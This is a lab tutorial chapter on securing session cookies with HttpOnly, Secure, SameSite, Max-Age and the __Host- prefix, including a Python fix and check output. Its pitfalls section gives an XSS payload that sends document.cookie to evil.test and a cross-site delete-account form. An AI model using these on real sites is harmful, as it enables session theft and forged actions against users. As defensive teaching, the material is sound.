Skip to content
How systems talk

4Station 4 of 6: Session

Chapter 04 · 25 minutes

The session cookie with no attributes

A session cookie with no attributes travels over plain HTTP, leaks to other sites, and can be read by scripts. One attribute missing is one way to steal it.

From the lab folder:
$ uv run python -m wire run 4
$ uv run python -m wire check 4

Goal#

Fix a session cookie that is set with no security attributes, making it vulnerable to theft over insecure connections, cross-site requests, and script access.

The idea#

What a session cookie is

After a user signs in, the server sets a session cookie. The cookie is a bearer token: whoever presents it is treated as that user. Every subsequent request from the browser includes the cookie in the Cookie header, and the server uses it to identify the user.

A session cookie looks like this:

code
Set-Cookie: sid=T98zF7qtje52HCsz0FG94l53i4kMLs5MuVJeNtPStpE

The browser stores it and sends it back on every request to that origin. The session id (sid) is a random string that maps to the user's identity in the server's session store.

Why attributes matter

Browsers have defaults for how cookies are handled, and the defaults are wrong. If you set a cookie with no attributes:

  • The browser sends it over plain HTTP as well as HTTPS. One HTTP request leaks the session.
  • The browser sends it on requests started by other sites (cross-site requests). Any site can make requests with the user's session.
  • Scripts on the page can read it with document.cookie. Any XSS vulnerability steals every session.
  • The cookie lasts until the browser is closed, or forever if the browser restores sessions.

Each of these defaults was chosen for compatibility in the 1990s. Each one has been exploited since. A session cookie with no attributes is a bearer token with no scoping.

How cookie attributes work

Four attributes control cookie security:

AttributeWhat it doesAttack it stops
HttpOnlyScripts cannot read the cookieXSS-based session theft
SecureOnly sent over HTTPS, never over HTTPSession leaks over HTTP (downgrades, redirects, mixed content)
SameSite=LaxNot sent on cross-site POST or fetch, but sent on navigationsCSRF (cross-site request forgery)
Max-Age=NCookie expires after N secondsIndefinite session lifetime

A properly secured session cookie looks like this:

code
Set-Cookie: __Host-sid=T98z...; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=28800

The __Host- prefix is a signal to the browser that the cookie must have Secure, must not have Domain, and must have Path=/. If the server sets a cookie named __Host-sid without these attributes, the browser rejects it. This is defense in depth: even if you mistype Secure, the cookie is not set.

What people get wrong

Forgetting HttpOnly. Without HttpOnly, any XSS vulnerability on your site steals every user's session. An attacker injects <script>fetch('https://evil.test?c='+document.cookie)</script> and collects session ids. The fix is to always set HttpOnly on session cookies. If you need the session in JavaScript, you are doing something wrong. The session belongs in HTTP headers, not scripts.

Skipping Secure in development. Developers test over HTTP locally, set cookies without Secure, and the code ends up in production. The fix is to use HTTPS everywhere, even in development. Tools like mkcert generate locally trusted certificates in seconds.

Leaving off SameSite. Without SameSite, any site can make a cross-site request with the user's session. An attacker embeds <form action="https://yourapp.test/delete-account" method="POST"><input type="submit" value="Click here"></form> on their site. When a signed-in user clicks it, the browser sends the session cookie and deletes the account. The fix is SameSite=Lax for session cookies. Strict breaks single sign-on flows (the user follows a link from another site and arrives not signed in). None disables the protection entirely and should only be used for cross-site integrations with CORS.

How production systems handle session cookies

Framework defaults. Django, Rails, ASP.NET Core, and Spring all set HttpOnly, Secure, and SameSite by default on session cookies. Flask and Express do not; you must configure them explicitly. Check your framework's session config and verify the attributes are set.

__Host- and __Secure- prefixes. Defined in RFC 6265bis (the updated cookie spec), these prefixes enforce constraints. __Host- requires Secure, Path=/, and no Domain. __Secure- requires only Secure. Use __Host- for session cookies unless you need to share them across subdomains (which you should not).

Max-Age vs Expires. Max-Age is relative (seconds from now). Expires is absolute (a date in the future). Use Max-Age; it is simpler and not affected by clock skew. Typical session lifetimes are 15 minutes to 8 hours. Long-lived sessions are a persistence mechanism for attackers. If the user wants to stay signed in, issue a separate refresh token with its own limits.

SameSite browser support. All modern browsers support SameSite. Chrome, Firefox, Edge, and Safari default to SameSite=Lax for cookies with no explicit SameSite attribute (as of 2020 to 2021). Older browsers ignore the attribute but still work. Always set it explicitly; do not rely on browser defaults.

Cookie scope with Domain and Path. A cookie with no Domain attribute is only sent to the exact host that set it. A cookie with Domain=example.test is sent to every subdomain (app.example.test, blog.example.test, attacker-controlled.example.test). For session cookies, never set Domain. Use the __Host- prefix to enforce this. Path narrows the scope to a URL prefix. For session cookies, use Path=/ to cover the whole site.

The case#

Run the case to see the bare cookie:

shell
uv run python -m wire run 4
output
case 04: The session cookie with no attributes
Set-Cookie: sid=omSmq4zizB_ybpVzbAdUXqKTVWCMoFYtWAjcSPvfQa4
GET /me with it: 200
  NO   httponly  scripts on the page cannot read it
  NO   secure    it is never sent over plain HTTP
  NO   samesite  it is not sent on requests started by other sites
  NO   max-age   it expires on its own

The cookie is set with no attributes. It can be read by scripts, sent over HTTP, sent on cross-site requests, and lasts until the browser decides to delete it.

Reasoning towards the fix#

Open lab/cases/case04_cookies.py. The session_cookie function returns the Set-Cookie value for a new session. As written, it is just sid={session_id}, with no attributes.

To fix it, add the attributes:

python
def session_cookie(session_id: str) -> str:
    return (
        f"__Host-sid={session_id}; "
        "Path=/; "
        "Secure; "
        "HttpOnly; "
        "SameSite=Lax; "
        f"Max-Age={8 * 3600}"
    )
  • __Host-sid requires Secure, no Domain, and Path=/. The browser enforces this.
  • Path=/ means the cookie is sent on every request to this origin.
  • Secure means it is only sent over HTTPS.
  • HttpOnly means scripts cannot read it.
  • SameSite=Lax means it is sent on top-level navigations (following a link), but not on cross-site POSTs or fetch requests. SameSite=Strict would block even navigations, which breaks single sign-on flows. Lax is the right default for session cookies.
  • Max-Age=28800 is 8 hours. After that, the cookie expires and the user must sign in again. Tune this to your application's needs, but do set it.

The checks parse the Set-Cookie header and verify that all four attributes are present. The cookie name must start with __Host-.

Check your fix#

Once you have made the changes, check them:

shell
uv run python -m wire check 4

As shipped, the check output is:

output
  PASS  the session still works after sign in (GET /me: 200)
  FAIL  HttpOnly: scripts cannot read the session
  FAIL  Secure: it never travels over plain HTTP
  FAIL  SameSite is Lax or Strict (not set)
  PASS  no Domain attribute, so subdomains do not get it
  FAIL  it expires within 12 hours (Max-Age: not set)
not yet. Try: uv run python -m wire hint 4

When fixed, all lines show PASS. The cookie has all four attributes and uses the __Host- prefix.

Try it on your own machine#

Inspect your own apps. Open your browser's developer tools, go to the Application or Storage tab, and look at the cookies. For every session cookie, check:

  • Is HttpOnly set?
  • Is Secure set?
  • Is SameSite set to Lax or Strict?
  • Does it have Max-Age or Expires?

If any are missing, you have an exposure.

Run the cookies experiment to see how attributes affect which cookies are sent where:

shell
uv run python -m wire try cookies

This shows how Secure, Path, and Domain scope cookies. A cookie with no Domain is only sent to the exact host that set it. A cookie with Domain=example.test is sent to every subdomain. Secure keeps it off plain HTTP. Path narrows the scope to a prefix.

In production#

Session cookies are the most sensitive cookies you set. Steal a session, and you are the user. Protect them with all four attributes, always.

  • Set HttpOnly on every session cookie. If you need the session in JavaScript, you are doing something wrong. The session belongs in HTTP headers, not scripts.
  • Set Secure unless you are running on plain HTTP in local development. In production, if you are not on HTTPS yet, fix that first. Let's Encrypt is free.
  • Set SameSite=Lax for session cookies. Strict breaks single sign-on and external links. Lax blocks CSRF on POST while allowing navigations. If you need cross-site POST with credentials, use CORS and a separate token, not the session cookie.
  • Set Max-Age to your session lifetime, typically 15 minutes to 8 hours. Long-lived sessions are a persistence mechanism for attackers. If the user wants to stay signed in, issue a separate refresh token with its own limits.
  • Use the __Host- prefix. It forces Secure, Path=/, and no Domain, and the browser enforces it. If you misspell Secure, the cookie is rejected.

Check your framework's defaults. Some frameworks set these attributes by default, some do not. Django, Flask, Rails, and Spring all have config options. Do not rely on defaults you have not verified.

Key points#

  • A session cookie is a bearer token. Whoever has it is the user.
  • Set HttpOnly, Secure, SameSite, and Max-Age on every session cookie. All four, always.
  • Use the __Host- prefix to enforce Secure, Path=/, and no Domain.
  • SameSite=Lax is the right default for session cookies. It stops CSRF on POST while allowing navigations.
  • If you cannot set Secure in production, you do not have a session cookie problem. You have an HTTPS problem.